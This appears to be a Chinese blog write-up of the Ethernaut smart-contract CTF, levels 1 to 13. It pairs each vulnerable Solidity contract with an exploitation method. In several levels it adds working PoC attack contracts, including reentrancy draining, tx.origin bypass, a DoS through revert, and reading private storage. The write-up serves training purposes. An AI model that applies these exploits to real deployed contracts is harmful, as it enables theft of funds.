CTF 最新文章

Ethernaut_WriteUp

0x01 Fallback

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;//安全运算
  mapping(address => uint) public contributions;//地址 贡献值
  address payable public owner;//合约所有者

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);//owner的贡献值为1000ether
  }

  modifier onlyOwner {//只能owner调用
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);//每次转账小于0.001ether
    contributions[msg.sender] += msg.value;//贡献值加msg.value
    if(contributions[msg.sender] > contributions[owner]) {//需要大于1000ether才能成为owner基本不可能
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {//将合约所有的ether转发给onwer
    owner.transfer(address(this).balance);
  }

  function() payable external {
    require(msg.value > 0 && contributions[msg.sender] > 0);//msg.vale大于零且贡献值大于零
    owner = msg.sender;//成为owner
  }
}

成为owner,需要先调用contribute()转账一些wei,contract.contribute({value:1}),成为贡献者,然后直接向合约地址转账,触发fallback函数,就能成为合约owner,最后调用withdraw()contract.withdraw(),成功完成。

0x02 Fallout

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  /* constructor */
  function Fal1out() public payable {//误导,就是一个普通的函数Fal1out(),Fallout才是合约名
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

构造函数名与合约名不同,Fal1out()就成为一个可外部调用的特殊函数,直接调用contract.Fal1out()就能成为合约owner

0x03 Coin Flip

/*This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.*/

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));//前一区块的hash值,每次交易可知

    if (lastHash == blockValue) {//最后的hash值等于前一块的hash会报错,一次交易只能进行一次猜测
      revert();
    }

    lastHash = blockValue;//lastHash为当前交易的父块hash
    uint256 coinFlip = blockValue.div(FACTOR);//父块hash 除 FACTOR赋值给coinFlip
    bool side = coinFlip == 1 ? true : false;//coinFlip为1时为true,否则为false

    if (side == _guess) {//猜测与计算结果一致,次数加一
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;//猜错一次,正确次数清0
      return false;
    }
  }
}

直接写POC合约,计算出本次交易的结果,然后调用该合约的flip()函数传入计算出的结果,确保每次都正确

pragma solidity ^0.5.0;

interface  CoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract FlipPoc{

    uint8 public successNum;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip CF;

    constructor() public{

        CF = CoinFlip(0xDdd37fAd74a1C34a1e934872298836415f87E04C);//challenge address
        successNum = 0;
    }

    function exp() public payable{
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        CF.flip(side);
        successNum += 1;
    }

    function() external payable{

    }

}

0x04 Telephone

pragma solidity ^0.5.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {//最初交易的发起者不是消息调用者,通过合约调用就能满足
      owner = _owner;
    }
  }
}

changeOwner函数中,if (tx.origin != msg.sender)只要最初交易的发起者不是消息调用者,通过合约调用就能满足,成功变成owner。

POC

pragma solidity ^0.5.0;

interface Telephone{

    function changeOwner(address _owner) external;
}

contract TelePhonePoc {

    address addrOfTel = 0x450B2421a005704841Cb405163419C01E4C6D4af;//实例地址
    Telephone TelephoneIns;
    constructor() public {

        TelephoneIns = Telephone(addrOfTel);
    }

    function exp(address addrOfPlayer) public{

        TelephoneIns.changeOwner(addrOfPlayer);
    }

}

0x05 Token

pragma solidity ^0.5.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);//减法溢出,value大于20就能溢出
    balances[msg.sender] -= _value;//溢出,代币增加
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

调用transfer向其他地址转账大于20,就能完成溢出,造成代币增加。

0x06 Delegation

pragma solidity ^0.5.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() external {
    (bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

DELEGATECALL 会保持调用环境不变的属性表明,调用在Delegate中的函数,由此,调用Delegate中的pwn()函数就能成为该合约的owner。函数签名是 bytes4(keccak256(abi.encode("pwn()"))),结果为0xdd365b8b,调用contract.sendTransaction({data:'0xdd365b8b'})后,合约执行(bool result, bytes memory data) = address(delegate).delegatecall(msg.data),成为owner。

pragma solidity ^0.5.0;

contract Delegate {

  bytes public  rst;
  function poc(string memory str) public returns(bytes memory result){

      rst = abi.encodeWithSignature(str);
      return rst;
  }
}

0x07 Force

POC

pragma solidity ^0.5.0;

contract poc{

    function exp(address payable addr) public  payable {

        selfdestruct(addr);

    }
    function() external payable{

    }
}

题目要求合约余额大于零,以太坊合约是一定会接受转账的,使用一个恶意合约调用 selfdestruct(addr),将恶意合约的余额都转账给addr合约。

0x08 Vault

pragma solidity ^0.5.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

合约的数据都是公开的,状态变量password在slot 1的位置,调用web3.eth.getStorageAt('0xe4B7607e67E7b4Fc90AdB5add050843B59e73838',1,function(x,y){console.log(y)})得到其十六进制值为0x412076657279207374726f6e67207365637265742070617373776f7264203a29然后调用contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')就能解锁。

0x09 King

pragma solidity ^0.5.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);//转账金额大于prize或者为owner
    king.transfer(msg.value);//向king转账msg.value,而不是prize
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.当提交实例的时候,关卡会收回king权,如果可以避免就能成功过关。在fallback函数中,如果转账大于prize或合约owner就能成为king。

尝试1:如果要避免的话,就需要想办法修改owner,prize初始是10^18即1ether,未找到利用点

尝试2:使用Dos攻击,通过恶意合约的fallback函数中调用revert(),使得king.transfer(msg.value)调用失败,恶意合约将一直是king。

部署好恶意合约后,调用exp时注意提高交易的gas limit,否则会出现out of gas

POC

pragma solidity ^0.4.20;

contract kingPoc {

    function exp(address addr,uint256 amount) public payable {

       addr.call.value(amount)();//addr为实例地址
    }

    function() external payable{

         revert();//阻塞
    }

}

10 Re-entrancy

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {//判断余额大于等于数量
      (bool result, bytes memory data) = msg.sender.call.value(_amount)("");//条件为真时直接转账,存在重入漏洞
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;//未检查溢出
    }
  }

  function() external payable {}

攻击流程:先调用donate,存入余额,然后调用withdraw进行提币,在恶意合约的fallback中再次调用withdraw,重入原合约,继续提币

POC

pragma solidity ^0.5.0;

interface Reentrance {//定义接口,方便调用
    function donate(address _to) external payable;
    function balanceOf(address _who) external view returns (uint balance);
    function withdraw(uint _amount) external;
}

contract RentrancePoc{

    Reentrance re;

    function setInstance(address addr) public{
        re  = Reentrance(addr);//实例化接口
    }

    function donation(uint amount) public payable {

        re.donate.value(amount)(address(this));//转账1 ether
    }

    function exp(uint amount) public {

        re.withdraw(amount);//提币1 ether
    }

    function() external payable{
        uint8 times = 0;
        times += 1;
        if(times == 1){
            re.withdraw(1000000000000000000);//再次提币1 ether,该合约余额2 ether全部提出
        }

    }

    function withdrawn() public{//转回自己钱包

        msg.sender.transfer(address(this).balance);
    }

}

11 Elevator

pragma solidity ^0.5.0;

interface Building {
  function isLastFloor(uint) external returns (bool);//是否为最后一层
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);//Building由自己构造

    if (! building.isLastFloor(_floor)) {//第一次building.isLastFloor(_floor)需要为false
      floor = _floor;
      top = building.isLastFloor(floor);//第二次需要building.isLastFloor(floor)为true
    }
  }
}

Poc

pragma solidity ^0.5.0;

interface Elevator{
    function goTo(uint _floor) external;
}

contract Building{

    Elevator elevator = Elevator(0x068bEF681cb61E56ea27403f7C4FE5c64E5Cb61D);

    uint8 times = 1;

    function isLastFloor(uint num) public returns (bool){

        if(num == 8 && times == 1){//第一次调用返回false
             times = 2;
             return false;
        }
        else if(num== 8 && times == 2){//第二次调用返回true
            times = 1;
            return true;
        }
        else{
            times = 1;
            return false;
        }

    }

    function goto(uint num) public {

        elevator.goTo(num);//调用后top变为true
    }

}

12 Privacy

pragma solidity ^0.5.0;

contract Privacy {

  bool public locked = true;//slot 0
  uint256 public ID = block.timestamp;//slot 1
  uint8 private flattening = 10;//slot 2
  uint8 private denomination = 255;//slot 2
  uint16 private awkwardness = uint16(now);//slot 2
  bytes32[3] private data;//slot 3 4 5

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));//data[2]是slot 5 处的数据
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
 }

web3.eth.getStorageAt('0xb0D3f2135098AA8114422b8E300e71A4B3715FAB',5,function(x,y){console.log(y)})结果为0xf8db43d250176089bd96f8307d3f68b88b31a35462ca1b9fcd99e32b9af036b0,bytes16= 0xf8db43d250176089bd96f8307d3f68b8,调用unlock(0xf8db43d250176089bd96f8307d3f68b8)。

13. Gatekeeper One

pragma solidity ^0.5.0;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);//消息发送者不是交易发起者
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);//以前为msg.gas,gasleft() 交易带的gas值减去交易执行到现在的gas
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      //(2) 低32bit与低16bit相同,则低32位为0x0000E417
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      //(3) 低32bit与总的64bit不同,则高32bit不全为0。
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
      //(1) 低16bit为地址后16bit为0xE417,低32bit与低16bit相同,则低32位为0x0000E417
    _;//0x001000000000E417  2978293 2978270 24472
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Poc

MY 中和
我还没有学会写个人说明!
查看“MY 中和”的所有文章 →

相关推荐